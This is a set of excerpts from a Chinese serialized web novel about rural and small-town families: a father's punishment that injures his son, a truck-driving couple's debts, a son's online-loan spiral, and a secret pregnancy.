“咋了嘛,大清早的就打人!”我嘟嘟囔囔地埋怨着。
“你到现在还嘴犟!”我爸把我向门外拉。
“我咋了嘛?”我不明就里?
“你现在越来越越不像话了。”
“你说我咋了嘛?”我大声质问。
“你干啥事你不知道?”我爸跟在我后头。
“我干啥来嘛?你说你说嘛!”我边朝院子走边问。
“你个狗东西,你不学好就算了,还教你弟弟不学好。”
“我教谁啥来嘛?”我反问道。
“我问你,昨天分的牛肉是不是你和玄玄吃完的?”我爸双手叉在腰上。
听到这话,看来我被小弟出卖了。这个小叛徒!我没了底气,声音低了下来:“就是我俩吃完的。”
“你个狗东西,到现在还不说实话,我看你真是皮松了。我再问你,是不是你俩吃完的?”
我仍犟着嘴,小声说就是的。
一听这话,我爸火冒三丈。
“我看今天不打你你是不想说实话了,”父亲四下盯着找东西。
看到我爸找东西要打我,我心里一阵害怕,就做好随时逃跑的准备。
我几个长这么大,他还没动手打过我兄妹们,可能是今天吓唬我罢了。想到这我就问:“说啥实话吗?”
“你光给我说肉是不是你俩吃完的?”我爸站在离我一米开外的地方,身旁边就是堆放的农具。
这次我没敢吭声,担心挨打。
看到我没吭声,我爸追问:“你给玄玄教着说谎话,骗我们?”
“我没有!!!”
“你没有,你没有!你把肉掉崖底下就掉崖底下算了,回来给我们说实情就算了,大不了挨个骂。你个狗东西不学好就算了,还教玄玄撒谎,玄玄迟早都被你教坏的。撒谎就不行,给玄玄吃了多少肉,害得娃半夜发烧、上吐下泻地往医院跑。我今天就冲你不说实话,教娃撒谎这事非打你不可!”
我爸越说越气愤,顺手拿起手头没有头的锨把向我屁股打来。
我身子向前一倾,本能地用右胳膊去阻挡,想逃跑,可世上的事有时候就这么巧!
当我挡的时候,打我的锨把上面有一颗小钉子,正好挂住我上衣袖子,我用力阻挡的反作用力和我爸往后抽锨把的力一结合,坏事了。可能是他看到挂住我衣服了,就直接把带钉子的锨把往后拽,就这一下,我突然啊的大叫一声,只觉得胳膊上瞬间的一阵灼痛,鲜血直流。
看到流血,我爸突然松开锨把,上前一步,看到挂住我衣服的钉子,自己也愣了。
他缓过神来,马上从被拉烂的衣服上取下锨把扔在地上,弟弟
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妹妹都吓傻了眼。
看到挺长的伤口,皮全向外翻着不停的流血,我爸从房子里拿出一把毛巾捂在伤口上,叫上大弟拉起我就往镇医院跑。
我痛得直冒汗,只觉得灼烧灼烧的揪心疼,大口大口喘着气。可能是我太难受了,弟弟一直给我喊咬紧牙,咬紧牙。
本身我家就在镇上,平时觉得到医院很近的路今天觉得太长太长了,老是到不了医院。
“咋还没到?咋还没到?”我不停地问弟弟。
“马上就到,马上就到”。弟弟说着可能是感到我胳膊的抖动,哭着说,“哥,咱不疼,咱不疼。”
平时和我作对的大弟今天显得如此的成熟!如此的懂事!现在想想,我到死都一直记着我弟弟的那句让,我一想到就满眼是泪。这可能就是亲情的力量吧,也是亲情的伟大所在吧。
终于到医院了,我爸叮咛大弟扶着我,他急急忙忙向里面跑去找大夫了。
于是,检查、消毒,清洗、打麻药,一阵程序后,当麻药打完后就坐在医院的换药室里,手放在办公桌上,看着大夫给我缝伤口。
那时医疗技术落后,缝完针,没有象现在这样挂吊瓶、也没有留院观察之说,大夫给我带了些吃的消炎药和止痛药就让我们回家了。
“那你妈知道不?”沈莎莎插言道。
你听我说,我妈早上去队里劳动了。我们从医院回来后,围坐在小弟身边。昨天下午我给他把肉吃多了,引起发烧躺在床上迷迷糊糊地睡着觉。
当我妈下工回到家看到我右胳膊缠着的纱布时,慌忙放下锄头跑到我跟前,急促地问,“你这是咋了?你这是咋了?”
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读!
第4章 偶遇关系能买房、抓住机会匆下单
晓雅虽然口上说儿子不是那样的人,但这几个月的转账记录却正在告诉自己,儿子网贷的可能性很大。
想到这里晓雅满身是水,心头一紧,如果真像自己分析的那样,那这个家就永远是“负翁”了,将一直行走在还贷款的路上。
晓雅心里掠过一丝不安和恐惧。
她正准备把自己的担心说给老公,看到聚精会神开车的他,欲言又止,把到嘴边的话咽了回去。
望着车子行驶在笔直的高速路上,疾驰而过的车子争先恐的从他们车旁瞬间而过,给晓雅一种人人都为自己的梦想而努力奔赴的急促感和紧迫感,而这笔直路的尽头是什么,谁都不知道。
现在这笔直的路看不到头,自己只有努力不停歇的行驶,才能看到尽头的风景。
这笔直的高速路不正是和自己的还贷之路有异曲同工之处?为了这车贷这房贷装修贷,不敢歇息只有如此马不停蹄,没日没夜。无心领略身旁的风景,无暇顾及儿子的成长。
车子在飞奔,晓雅思绪万千。
现在晓雅的车子是疫情最后一年更换的烧气车。
虽然养车成本降下来了,疫情后,运价却比以前低了不少。气的老公几次都想把车卖掉转行。但晓雅的想法是如果把车卖掉就连生活都成问题了,前面买车的账还没还完,账就更多了。车没了就完全失去了经济来源,生存成问题了。
改行不可能,没有其它出路,只有坚持。
其实晓雅心里明白,这么多年来经营车子并没有存下钱,到底是没挣到钱还是钱不值钱了,反正她总觉得钱一直都钱紧张不够用。
第一台车子买的时候自己的手里几乎没有几个钱,还是闫安偷偷给自己的现金,自己给老公演戏借钱才买的车。
刚开始还可以,后来车越来越多,竞争也大,但全家人吃了喝了还能手头有几个,现在同样的路程,同样的的货物总觉得挣不到几个钱。
现在儿子女朋友还没有个准向,后面还要订婚、结婚、彩礼、待客哪样事不是要真金白银?而自己手头根本没有能用来应付这些问题的足够准备。
想到这些,晓雅只觉得心里一阵堵的慌!
这么多年好像根本没有成绩。
“中午是不是不给我吃饭了,你没看看都几点了?”正在开车的老公打断了晓雅的思绪。
她一看手机,好家伙,十一点四十五。
晓雅赶紧从卧铺坐起来着手准备午饭。自从经营车以来,这种妻子做饭搞后勤,丈夫开车跑路程的默契分工是两口同甘共苦、风雨兼程。
饭好了,他们停在了下庄服务区准备吃饭。
晓雅下车后先绕车转了一圈,这也是跟车这么多年来养成的习惯,一切正常。
她和老公把车上的餐具放在车旁边的地上开始吃饭。
“咋没见钢子两口?不是一直在咱前面跑着么,这儿咋没看到车?”晓雅想起和他们一起出发的同伴。说是同伴,也就是经常一起在一块结伴而行的同行司机。平时大家伙几乎到饭点都聚在一块吃饭。
老公打电话给钢子:“吃饭了,咋没见你们?”
“你们吃,风机没有风,把人冻死了,下庄那儿没有修理的,我没停,我在下个服务区修一下,你们直接走不管我们,板材厂见。”
“那行吧,有事微我。挂了。”
老
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公挂了电话埋怨道:“我真是服了这两口子了,整天光是花钱把自己打扮得人模狗样的,也没说把车好好花钱收拾一下,就是个凑合,你看和咱一路哪次没有小问题,两个活宝!”
晓雅把盛好的饭递到老公手里:“你管人家哩,人家巧红不是说穿体面点能扩大人脉关系吗?”
老公接过碗:“一个跑长途大货车的司机媳妇能接触个狗屁人脉关系?我看就是虚伪,没有本事,口上本事不小。巧红今天还穿的黑色私袜,红皮鞋,胡搭配哩,我估计这会儿冻得在打尿颤哩。”
“我发现你观察得细的很,人家刚子媳妇穿的啥你都注意到了,是不是觉得巧红那丝袜把你魂勾走位了?心痒了?”
“胡说啥呢,就是说他两口不知道自己是干嘛的,摆不正自己的位置。你老是往歪的想。”
“只要你没那坏心思!担心你。”晓雅虽然这样说,但心里记住了巧红的黑色丝袜和红皮鞋的穿搭。
“你不要担心我,你还是担心你的廉租房吧。”
说到廉租房,晓雅停下手中的饭;“就是的,这都快两年了,啥信息都没有 ,我也是太伧促了,是这,见到巧红我让再问问。”
“你问有屁用?还不是那几句话,再过一段时间,再过一段时间,把心放在肚子,这都多少个一段时间了?如果没戏赶快把钱要回来,还有我的两千元,咱也紧张得厉害。”
晓雅没有吭声,她知道自己这件事办的有些不妥,但钱都给人家了,办事人说信息都上传了。
哎,说来说去,还是缺钱给儿子买不起房她才想到这样办。
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第4章 房子无着落,网贷成事实
在疾驰的车上,正在鼾然入睡的晓雅突然被老公叫醒后,老公指着前方路边一个朝车招手的人:“你看那个人是不是巧红?”老公说着慢慢降低了车速,打开双闪灯。
晓雅沿着老公手指的方向看去,看见一个穿紧身裤的女人正在拦车。
快到跟前了,晓雅第一反应就是巧红。
“就是巧红,这货咋走着哩。”晓雅话还没说完,车子已经到了巧红面前,慢慢停了下来。
晓雅下了车不解的问:“还真是你,你咋在这儿?”
巧红带着哭腔:“哎,气死我了,想想真是又可气又可笑。我在告诉我自己,今天肯定是要在高速路上流浪了,没有你来,我真是惨了。走,上车说,这儿不安全。”说着,巧红就熟悉的拉住车门,踩着踏板上了车,直接爬到后面卧铺去:“我的妈呀,脚都不知道是谁的了。”
巧红边脱鞋边嘟囔着。
晓雅也跟着上了车坐在副驾上:“咋了吗?吵架了?”
“今天可是这丝袜红皮鞋救了你,要不然,你再招手我都不会停的。”晓雅老公打趣。
“为啥不拉?”巧红问。
晓雅老公:“我担心你是仙人跳的人。”
“滚。你经历过,知道的蛮多。”
晓雅:“别斗嘴了,快说说咋回事?”
巧红往卧铺上一躺讲起了经过。
你们给钢子打电话的时候,车子暖风吹不出热风,把我给冻得不行,我就埋怨他每次回家把车撂在那儿不去管,一上路各种各样的小毛病就出来了,你看和你们跑的时候,哪一次没耍过问题。
可那货权当耳旁风,今天才给我承认上次本来就时好时坏,他说他就没在意,这不,今天招祸了吧。
我说在下庄服务区检查一下,结果绕了一圈没有修理厂。
我们直接出了下庄继续前行,他忙的连饭都没吃。
本来想着快点赶到下个服务区检查修理,不知道他啥吃的不合适,加上车里没暖风,本来他就跑的慢,跑到半路他说肚子痛的要命,看他在座位上扭来扭去,表情难看,以为他突然得了什么病。
我问他咋了?
他满头大汗的说想拉屎。我说那你快停下,安全第一呀。
他让我查地图看到下个服务区还有多长时间?去卫生间拉。
我看了一下告诉他还有五十六分钟。说不要开了,就地解决。
他让我赶紧给他备纸,打开双闪灯靠边慢慢停了下来。
火都没熄,他攥着纸急急忙忙跳下去,门都没顾得关,猫着腰就在车头和车厢中间现场直播。
我担心车门没关太危险,就从驾驶座上过去拉门,过往的车卷起的风太大拉不动, 我就下了车从外面关了门。
我想着趁着这机会顺便检查一下货,看看好着没有,就从主驾驶这边向后走去。
当查看到车后面的时候,看见篷布的压角处露出来一节,正准备上手去处理,谁知道车子突然开动了。
我吓得不轻,钢子还在车中间拉屎,车咋么自己向前开走了?
我不知道想啥呢,脑子乱完了。
后面从我身边呼啸而过的车子都在长时间的鸣笛,提醒我注意安全哦。
你们说我当时傻不傻,竟然站在那里看看车开走后是不是……
臭嘴,呸呸呸,不说这。
我愣了半天,忽然明白了,是我站在车后的时候,我人上了车,肯定是没注意我在没在,车又没关火,他一脚油门,我站在了这里。
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我没带手机,没法联系。你说这东西还真是离不了,比儿子还管用。
我是满身到处都是火,气的要死,把我人胡乱骂一通。
这下咋走?
再在这儿把他骂三天,也解决不了我如何出高速路的困境。
没办法,只能拦车,可是车子速度都太快根本没有人理我。
我想还是边走边拦吧,最后一想,你们不是在后面吗,想到这我就放心了,不时的往回看,生怕错过了你们,这不,你们来了,不然那我可就惨的没图像了,嘿。
听了巧红的讲述,晓雅和老公笑得肚子痛。
“我怀疑是钢子有意识把你扔在这,有想法了。”晓雅老公逗着巧红。
“有想法了好呀,说明我那货还是有魅力的人,哈哈哈。”巧红自信的大笑起来。
晓雅说:“我就想着你俩再吵架了他绝对不会把你扔在这儿,天大的事都不会。”
“哦,对了,让我赶紧给钢子说一下,免得着急。”晓雅老公让晓雅拨通了号码放在免提上。
钢子:“你说。哥,咋了?”
“你到服务区了没?”
“还需十一分钟,你到了?”
“我没有到,问你没丢啥东西吧?”
“丢东西?没有啊。”
“再想想。”
“跑的一直没停,货也好着呢。”
“没丢东西?”
“没有没有。”钢子肯定的说。
“你今天丢人了,把人丢到家了。”
“咋了 ?在哪儿可给你丢人了?”钢子不知道他说这话是啥意思。
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第4章 工资未发网上贷,校招报到空欢喜
晓雅的苦口婆心使得儿子终于讲出了网贷的经历。
21年初不是被师父安排跟着项目部到北京去了。
当时正值疫情期间,到了北京后被安排到宾馆隔离了一个礼拜。到了工地我才知道是个体量不大的房建项目。
因为疫情管控,加上环保检查,我们是今天干,明天停,断断续续地干着。就这样总干不下方量,甲方就不好好支付工程款,慢慢地就拖工资了。带的钱也花得差不多了,我就问师兄能不能借点钱,他就给我转了二百元。
其实说我们在北京干活,实际就是郊外。花钱的地方并不多,我在网上贷款也纯粹是觉得试着玩的心态,觉得没钱花的时候在网上申请很便捷,立马到帐。
那天下午悦悦发信息说她要买一件大衣还差一千三百元,我说过两天工资发了就给转,两天后她又问我工资发了吗?
我说还没有,她说发了第一时间转给她。
我想着悦悦跟我谈了这么久,第一次问我要这么多的钱,心里还是有点不乐意。但又一想她以前虽然小东小西都是我给买的,但我在等建工集团上班那几个月,悦悦还是给我花了不少钱,不过这次口张的太大了。
又过了几天她又问我要,我说再等等看,没想到她说我在北京是不是有女朋友了,不把她当一回事了。
我说我们这里就是想认识个女朋友都难的太太,哪能不把你当事。悦悦说如果我明天再不转过去就分手。
我也想了想我还真有点舍不得这段情,就答应了想办法。
晚上玩手机,有一弹窗弹出,我点了进去一看是关于贷款的App,想到自己的手头紧张,还有悦悦的催促,我就按程序的提示安装了软件。
我当时的想法是来北京比在当地收入高,如果贷一点不超过我一个月工资的款,还起来还是没有任何压力的事。
简单的想法总是要用复杂的过程去完成的。
于是我试着先借三千元玩玩,按照软件的程序提示,输入了个人信息,包括你跟我爸的电话号码。
我现在才知道,如果还不上贷款就要打电话给你们。当然我刚开始并不知道这些。
很快申请的三千元审批通过了,当钱转给我的时候才只有一千五百元。我纳闷了就问客服是什么情况?他解释说这是保证金,如果没有按时归还的话就用保证金还。如果想贷够三千元的话他们可以给我提供另一家平台凑齐这三千元。
我也不知道咋想的,根本就没问另一个平台是否要保证金,就按第一家平台提供的另一个软件同样的操作贷出了一千五百元,押金同样。
有了这三千元,我觉得没钱了在网上办理借贷是一件很容易的事。
我立马给悦悦转了一千三百元,觉得不能让她看不起我这个人,这一千三百元是对我能力的证明,也是我对她忠诚的最好证明。
但自己却想的太好了,悦悦收到钱后问我的第一句话是,你明明有的是钱却说你工资没发,你肯定在骗我,不喜欢我了。
我把钱给了还遭一番质问和奚落,光和悦悦为这一千三百元在微信上解释了半晚上才算平息了此事。但我始终没敢告诉她这钱是我网贷出来的。
其实在北京总共才待了不到八个月的时间,活完了只能打道回府。
回来了,项目部接不到活,我就在家闲了下来,整天投简历寻单位,就是没有找到工作。
没有工作没有收入,网贷总是要还的。
当我把自己从北京带回来的钱全部分批次还完时,
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没钱了,也没办法还了,逾期了。平台告诉我可以推荐一家公司,从那里借出来还款。
现在想想真是有病乱投医。实在没钱了,就在人家推荐的平台上又借钱还老平台的钱,这样循环的贷着贷着,光四家平台的催款通知把我逼得头都大了。整天不敢听到手机响,手机一响心里就发慌,真是无望得没办法了才跟你以工资拖欠为由老要钱的。
其实我上班的这家公司每个月都按时发工资的,我骗了你们。
晓雅听完儿子的讲述,长长地出了一口气,停了很久,她突然坐了起来头靠在床头上:“是不是讲出来轻松多了?感觉心里的石头落地了?”
儿子点了点头。
看到母亲脸色非常难看就赶紧跑到客厅给晓雅接了一杯水递到面前。
晓雅接过水喝了一口缓了缓问:“现在再还多少就完结此事?”
“六万七千三。”儿子脱口而出。
晓雅听后点了点头。随后就如何结清,手续咋办等细节和儿子进行了沟通。母子俩聊着聊着儿子就睡着了。
看着酣然入睡的儿子,晓雅心里久久不能平静。看来她和老公的怀疑今晚从儿子口里得到了证实。
她咋都想不明白,曾经听话懂事的儿子竟然能做出如此令人想不到的事。
是这个网络发达的时代提供了便利的条件?还是儿子经不起这便利条件的诱惑?
儿子从毕业到现在都是没有找到稳定的工作,一直游走在临时的工作之间,漂泊不定,难安其身。自己和老公没有人脉关系,儿子学校也并非211,985,凭自身的能力无法给儿子一个稳定
的工作。
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第5章 未婚先孕遮耳目,幽僻山沟欲隐身
沈莎莎告诉吴之玄自己已怀孕三个月了。
吴之玄说:“等国英三周年一过,我们就结婚。”
“她还有多长时间过三周年?”
“早着呢,明年九月二十日。”
沈莎莎吓一跳:“那孩子不都出生了?多丢人?”
“那有啥丢人的,我总是要结婚的。她三周年不过难道我还不结婚了?”吴之玄平静的说着。
沈莎莎没有吭声,她把头贴在吴之玄的胸口:“我如果没有结婚生孩子好像没什么名份?让人笑话。”
吴之玄觉得也是啊,自己和莎莎完全出于自愿,如果没结婚似乎让她生孩子了有点说不过去。他想了想:“要不是这,你显怀的时候就请病假,我安排。”
“你咋安排?”
“这个你不要管,你要确保一定要请长假。不让人知道你生孩子。”
“医院能批不,至少得多半年。”沈莎莎有点犹豫。
“如果有难度,我看看能通过谁办一下。”
“说了半天,孩子生了咋办?”
“大办特办!”
“啥意思啊?”
“就是给你和我办一个特大的婚礼仪式,告诉大家我们结婚了,你是我明媒正娶的媳妇!”
“净是嘴上功夫。你不是担心别人知道你和我的关系吗?今天咋这么有勇气!”
“因为我喜欢你呀。”
沈莎莎搂住吴之玄的脖子亲了一口。
吴之玄被沈莎莎的亲吻而再次陷入温柔之中,沉醉在那风情万种的迷离之中。
自从那夜在病房的废话连篇、言无不尽,两人彼此的靠近是各自心里的压抑得以释放的最好方式。
吴之玄对于沈莎莎的娇喘柔媚总有一种留恋难返的痴迷。而沈莎莎对于吴之玄的迎合也正是她渴望拥有的期盼。
吴之玄似乎入魔一般整天和沈莎莎粘在一起,相互折腾,几年来所有的忍受和向往在沈莎莎的宿舍里一泻千里,酣畅淋漓。
今天当他脱衣服欲行好事时沈莎莎告诉了他怀孕的消息。
沈莎莎知道,自己想要的生活即将拥有,自己的付出总有回报。
吴之玄除了沉迷沈莎莎的美貌和身躯,而他想到的是沈莎莎的正式职工身份这是关键,首先既是自己的生意不好,至少有沈莎莎的工资在托底,另外孩子一出生户口就会跟着母亲了,跟了母亲,孩子的身份直接就是商比品粮户口,这样一来,孩子以后的就业上学各方面都会有许多优惠的政策。至少孩子能有一份稳定的工作足以养活自己。
在八九十年代,能转成商品粮户口是许多人梦寐以求的奢望。但又有几个人能实现呢?
做为吴之玄这个一心想成为商品粮户口的农村人,自己的想法没有实现,总在希望在下一代人身上实现自己的愿望。
沈莎莎和吴之玄两人各有各的打算。
于是两人就生孩的事商量了一番达成共识。
闫安加了好几个星期的班,这个礼拜终于有时间休息了。
他也没地方去,就来到了吴之玄的办公室聊天。
看到表弟来了,吴之玄拉起表弟直接坐进他的桑塔纳车里:“哥今天没事,给你教着学车去。”
闫安一下懵呆了:“我学车?”
吴之玄开车出了城,在城外一处的高低不平的土地上停了下来。
他让闫安坐到驾驶室,自己在一旁当起教练来。
可能是闫安接触机械的原
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因,吴之玄没想到闫安悟性极高,三下五除二就学会了,而且还慢慢的要求上正规路上跑。
吴之玄想了想,闫安家也距县城不到三十公里,几乎全是在爬坡,对闫安来说,绝对是个练手的机会,顺便之玄看望一下姑伯和姑妈。
两人小心翼翼地行驶在回家的路上。不到三十公里的路程整整开了一个多小时,吴之玄对闫安的表现相当满意。
闫安的父亲正在门口抽着烟,看着一辆黑色小轿车慢悠悠地停在自己面前。
车玻璃摇了下来,闫安父亲不敢相信自己的眼睛:“安娃你咋开车哩,没想到,没想到。”
“我哥今天给我教会的。”闫安指着一旁的吴之玄。
父亲这才注意到了坐在副驾的吴之玄:“噢,你玄哥也来了,你哥就爱你,还给你教学车哩,好,好,好,快下来,回,回屋。”
吴之玄下车后从后备箱取了一条烟和一包茶提在手里,姑伯硬是阻止使不得。
姑妈看到儿子和之玄,一阵高兴:“玄玄你来就来么,每次来都买东西,下次千万不要买东西。”说着接过吴之玄手中的礼物放在炕头上:“玄玄你吃啥饭给姑妈说,姑妈给你做。”
正和姑伯说话的之玄对姑妈说:“你和姑伯吃啥我就吃啥,自己人不客气。”说着跟姑伯进了房间。说是房间,准确的来说应该是姑伯设在家里的办公室。
姑妈进厨房做饭去了,闫安骑上自行车到地里拔菜去了。
吴之玄的姑伯是村里十几年的支部书记了,有思想,有能力,群众基础好,方圆口碑佳,属于村里的高人,对吴之玄的指导还是蛮正确的。所以之玄对他还是非常崇拜的。
这章没有结
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第5章 亲戚帮忙托关系,察言观色巧施计
中年人拿来凳子让两人坐下,忙前忙后的烧水倒茶。
姑伯劝他不用忙活,坐下说说话。
中年人端来一个用铁饼干盒子里装的旱烟,放在两人面前的地上,从口袋里掏出几张纸条,抽出一张递给姑伯。
姑伯接过纸条摆了摆手:“卷不了,抽不了,冲得很。”说着从自己的口袋里掏出一盒烟抽出一支递给中年人:“吃这个不冲。”
中年人拿着姑伯给的烟,把自己手里的纸条顺便装到口袋里。
吴之玄这才注意到,中年男往下坐的时候竟用手扶着旁边的桌沿。
姑伯也注意到了这个细节,待他坐定后就问:“我看你这身子好像不得劲。”
中年人笑了笑讲了起来。
其实以前我是个行动非常麻利的人,也算是个匠人,你看,我以前置办的盖房工具。
顺着他指的方向,吴之玄看到有泥刀、模子、灰盆、竹架板等盖房所必备的东西在房间里的角落里整齐的堆放着。
“现在都不用了?”
“咦,咋能不用,借的人还不少。”
中年人接着说,那些年盖房能挣几个钱,原打算等攒够钱了把我这烂房翻新一下,可谁知道在一次盖房时,一脚踩空从脚手架上摔了下来,不偏不倚,正好把前胸磕在了灰车上,三根肋骨全断了,这下完了,住院,做手术,花完了我的盖房钱。嘿嘿嘿。
后来我庆幸我命大,为啥,老天爷保佑我大难不死呀,你想如果那次是我这头着地,那可能今天就不可能坐在这儿说说话了。老天爷还是保佑我们这些心善的人的。
中年人讲完,抽了几口烟:“这盒装的烟还没我的卷烟抽着过瘾。”
说完,他从口袋里又掏出纸条卷起烟来。
姑伯看着他在卷烟就开门见山:“那宁馨今天是不是没在家?”
“噢,到地里帮忙给人摘花椒哩,我这就去找,你坐,你坐。”
中年人用手扶着桌子,艰难的站了起来。吴之玄赶紧坐起去扶,他说:“不用不用。”然后用手捂着胸口朝大门外走去。
姑伯站起身来在院子转悠,打量着屋里盖的房子说:“要说这还是个能匠人,把屋里盖得还行,你看两间房中间夹个厨房。”说着便进了厨房,虽然简陋,但收拾得甚是干净,吴之玄看到用白灰粉的墙上几乎没有什么污渍:“看起来像是个爱好的人。”
“宁馨她妈那时可是我村上锅灶最干净的人了,本身人也勤快,在村上那是叫了号的人,宁馨没出事前,谁家有事都叫她妈帮忙,也是个热心肠人,就是娃出事后,就不再给人帮忙了,把人一辈子的性子改变了。你看这灶房这干净程度肯定是继承了她妈的优点。”
两人又转到院子,看到东墙角劈的柴长短一致,整齐地摞在一起。不由得赞同两口子都是细发的人。
姑伯问吴之玄现在几点了?吴之玄看了看表说是十一点二十。
姑伯说按农村的作息时间规律,宁馨应该是在两点左右才能收工,咱们今天来的有点迟,应该赶早点就能见上她的面。
吴之玄说反正今天就这事,也不在乎提前推后的。
姑伯说那就既来之则安之,耐心等待吧,希望能有个好的答复。你说说我今天谈只说孩子生下的事,其他不说。
吴之玄告诉姑伯,生娃前她不用管,也不会在这儿住,就是娃生完后给她抱过来,让她把娃奶大,等我俩把婚结了就把娃抱回来,那时别人说啥闲
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话也不起作用了。
姑伯点了点头,明白了。
正在两人聊天时,一位中年妇女风尘仆仆,进来了直接就问:“普选在不?”
姑伯看了一眼,不像是宁馨,但二十年过去了,现在宁馨变成啥样了自己也不知道。就问:“你是宁馨邻居?”
那中年妇女站在门里,看看门外的车,又看了看院里的他俩:“肯定是邻居。你俩是弄啥的,人家主家人没在,待在人家家里,上面来的干部?”
吴之玄赶紧解释:“我们不是干部,是等这家主人的。”
姑伯打断吴之玄的话:“你看我像干部吗?”
那人打量了一下姑伯:“看你和我晒得一样黑,不像干部。该不是给干部领路的人吧?”
姑伯明白了,这个中年妇女肯定是受人之托来的:“你看他像干部吗?”顺手指了一下吴之玄。
中年妇女又看了一眼之玄:“他就是干部。”说着就走到之玄跟前:“我说干部呀,你来了就先到我家里看看,我住的烂屋里,你看能不能给我发些补助啥的,让我给娃把学费一交也行呀。”
吴之玄没吭声,姑伯说:“如果你有困难也不用给上面干部直接讲,到你队上写困难补助申请,让队里往上报。”
中年妇女愣了一下:“你也是干部,年龄大,肯定是官比他大,那我就给你说说我家的困难吧。”
“不用说了。”还没等中年妇女说完,姑伯用命令的口气对她说:“你今天就是说一天,我俩也解决不了你反映的问题。你该忙啥忙啥去,给你说实话,我们纯粹是看我侄女的,如果你碰到她就说她三伯在家等她哩。”
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第5章 风流姐姐惹祸事,隐瞒妹妹有隐情
吴之玄到了县医院以后,天已经黑实了,他直接往沈莎莎的宿舍走去,到了门口吴之玄看到沈莎莎宿舍的门虚掩着,门缝里投出一道光照在地上形成一字。
吴之玄顺手推开了门,房间里一对男女抱在一起正在激情热吻。
看到这种情景,吴之玄感到很尴尬,马上拉上门退了出来。
吴之玄觉得碰见这种事是非常不吉利的事,刘头就走,忽然觉得不对啊,明明是自己的女朋友的宿舍那里面的人肯定是沈莎莎。
沈莎莎?吴之玄感觉到不对劲,难道是她和别人?
想到这,吴之玄气的满腔怒火,气不打一处来,他决定返回宿舍教训这对狗男女。
他气势汹汹的刚到宿舍门口突然停了下来。
沈莎莎和自己是啥关系,只不过是普通的朋友关系,也是男女关系,男女关系?什么男女关系?我为什么要发这么大的火?我们只不过是超越普通的男女朋友关系,发展成一张床上彼此相依相偎的人。
一张床上彼此相依相偎的人?
自己的怒火来自这里,自己的气愤来自这里。这是一种什么样的情感搅动自己心中的那份宁静和温馨?
沈莎莎啊沈莎莎,这近两年的交往,我从来没想到你是这样的人!
吴之玄的心里有一种说不出的悲伤,揪心难受。
他想到了沈莎莎曾经和自己在这个宿舍的点点滴滴,自己的拘束,莎莎的羞涩,不知疲倦的瞎扯,永不着调的胡侃,相互开心的大笑,彼此伤感的忧愁 ,美好时光总在脑海,幸福依依长烙心里。
想到这些,之玄心里就涌起一种不相信眼前所见的痛苦,不忍心回想那和莎莎在这个宿舍相处的过往点滴。
回想是痛苦,目睹更残酷。
心在滴血,心在流泪,曾经的付出,曾经的心动,都被自己亲眼目睹的不堪入目情景而心灰意冷,咬牙切齿。
吴之玄觉得自己的肺都要气炸了,他攥紧拳头准备推开进去出一口恶气,教训这个不检点的女人,痛击这个花心的男人。
当他刚要推门的时候,门竟然从里面拉开了 。
站在门外的吴之玄一惊,他看到那个男的拉开了门也惊呆了。
四目对视,瞬间凝固。
那个男的惊讶之后把门又往小的关了一下,吴之玄看不到里面的沈莎莎。
“你干啥呢?”那个男的开口了。
吴之玄没吭声,紧攥的拳头直接朝那个男的打了过去。
毫无防备的男人被打了个趔趄,右手松开门边差点倒在地上,他大喊:“你他妈的有病!”说着顺手拿起地上的一只女式皮鞋的朝吴之玄扔了过来。
紧接着那个男的飞起一脚踢在了吴之玄的胸口上,感觉到疼痛的吴之玄凭借自己的人高马大向那个男的扑去,那个男的一下蹲,向一旁一躲,可能是吴之玄的用力过猛,自己到拳头没打到那个男的 却狠狠的衣柜的把手上,痛的发麻。
吴之玄顾不上疼痛,转身又要去打,那个男的却在他的腿上踢了一下,吴之玄只觉得一瞬间的灼痛,腿一软倒在了地上,那个男的顺势一把抓住他的左胳膊反拧在背后,将吴之玄压在了地上。
“哥们,你为啥打人?”用腿跪压在吴之玄颈部的男人问道。
“你狗日的的遭贱我的女人,我要宰了你!”吴之玄大口喘着气喊道。
“这货是谁,我咋成了
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他的女人?”沈莎莎说话了,但吴之玄听到的不是他熟悉的沈莎莎的声音。
吴之玄这才转头向床上看去,这个女的竟然不是沈莎莎!
“伙计,松开松开,搞错了,搞错了。”吴之玄对压在他身上那个男说,顺便用左手伸向后面拍着那个男的的腿。
当吴之玄从地上爬起来的时候,才发现自己的右手在流血,指头关节的皮掉了几块,灼烧得痛。
他这才注意到这个披肩发的女人,只不过似乎哪里和沈莎莎有点像,只不过比她的皮肤更白,比她稍胖一点,没有沈莎莎脸上的小酒窝,右眼眉中间有颗痣看起来比沈莎莎有一种说不上来的气质。
难道是沈莎莎的姐姐或妹妹?
从来没有听她说过有姐妹啊,只知道她有一个因脑膜炎而离世的哥哥。
吴之玄脑子里快速转动着,想理出头绪。
“你们怎么到这?”吴之玄不明白。
“我还想问你呢,说说,你偷看我们,是不是也好这口啊?”女人说话了。
吴之玄没有吭声,从脸盆里撩着水冲着右手上的血。那女人从床头拿起一包万宝路烟,抽出一支,朝那个男的摆了一下头,那个男的接过她手中的烟塞到吴之玄的嘴上。
那个男的又掏出打火机给双手忙活的吴之玄点上。
那个女的自己点燃一根烟,吸了一下,吐着烟圈看着狼狈的吴之玄。
那个女的等吴之玄洗完手后,从自己的红色的手提包里拿出一沓现金放在床头柜上,然后把烟盒放在钱上说:“伙计,我俩可什么都没有做,只是个亲嘴,这你看到了?”
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第6章 儿子上班镜中空,家起争执为学业
晓雅一家三口在地下停车场讨论着是去学校还是再上去咨询就业的事,晓雅却一直在找机会给闫安发信息。她急切的的需要得到他的帮助,对晓雅来说,任何事情出来当自己拿不定主意的时候,首先想到的第一个人就是闫安,闫安已经成为晓雅处理任何事情的主心骨。
儿子心情烦躁,不停的用手机划拉着:“说什么都没有用,回家,回家。”
听儿子的,谁也没办法。
一家三口开车往回走。
晓雅老公批评儿子在学校不好好学习,连自己是否真的毕业都不知道,埋怨儿子白花钱。
儿子一声不吭。
坐在老公身后的晓雅从后面捅了他几下,意思是让他别再在孩子面前发唠叨,老公开始沉默专心开车。
坐在后面的晓雅趁机给闫安发了条暗语。
闫安看到晓雅的信息,没有马上回复。他正在医院里的重症监护室外焦急的等待。
里面是给闫安在厂里负责生产的主管,这几天高烧不退,今天出现神志不清,意识模糊状况。凌晨被家人送到了医院,这会儿正在紧急抢救。
考虑到事态严重,加上从农村出打工的主管没有几个朋友,主管的妻子给闫安打电话,希望能派几名员工在医院里帮忙。
闫安撂下电话叫了几名员工匆匆赶到这里。
还是传来不好的消息,主管肺部感染严重,家属同意放弃抢救。
曾经做事踏实认真的主管就这样走了,走的如此的风轻云淡,走的如此的意想不到。
